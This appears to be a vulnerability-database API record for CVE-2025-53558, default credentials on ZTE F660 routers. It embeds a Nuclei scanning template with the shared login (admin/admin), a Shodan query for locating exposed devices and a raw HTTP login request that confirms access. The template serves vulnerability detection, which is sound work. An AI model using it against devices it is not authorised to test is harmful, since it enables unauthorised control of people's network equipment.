{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-53558/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-53558/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-53558/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-53558/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-53558/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-53558/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-53558"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-53558"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-53558.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-53558\n\ninfo:\n  name: ZTE ZXHN-F660T/F660A - Default Credentials\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.\n  impact: |\n    Attackers with knowledge of common credentials can access ZTE device management interfaces, potentially gaining control over network equipment and configurations.\n  remediation: |\n    Change default credentials immediately and restrict access to the web management interface to trusted administrators only.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-53558\n    - https://jvn.jp/en/jp/JVN66546573/\n  metadata:\n    shodan-query: title:\"F660\"\n    verified: true\n    max-request: 1\n  tags: cve,cve2025,default-login,zte,vuln,vkev\n\nvariables:\n  username: \"admin\"\n  password: \"admin\"\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Origin: {{RootURL}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}\n\n        frashnum=&action=login&Frm_Logintoken=0&Username={{username}}&Password={{password}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: location\n        words:\n          - \"/start.ghtml\"\n\n      - type: status\n        status:\n          - 302\n\n      - type: word\n        part: body\n        words:\n          - \"wrong username\"\n          - \"User information is error\"\n        negative: true\n# digest: 4a0a00473045022100b328632536b25e561fa3ee75cecae88b4c331faf7eb537b934555d6259ad40e402206953d0ec987bdc4c4a43742cb127346de25e8661f041ba58b27b22aea510b42c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-53558"}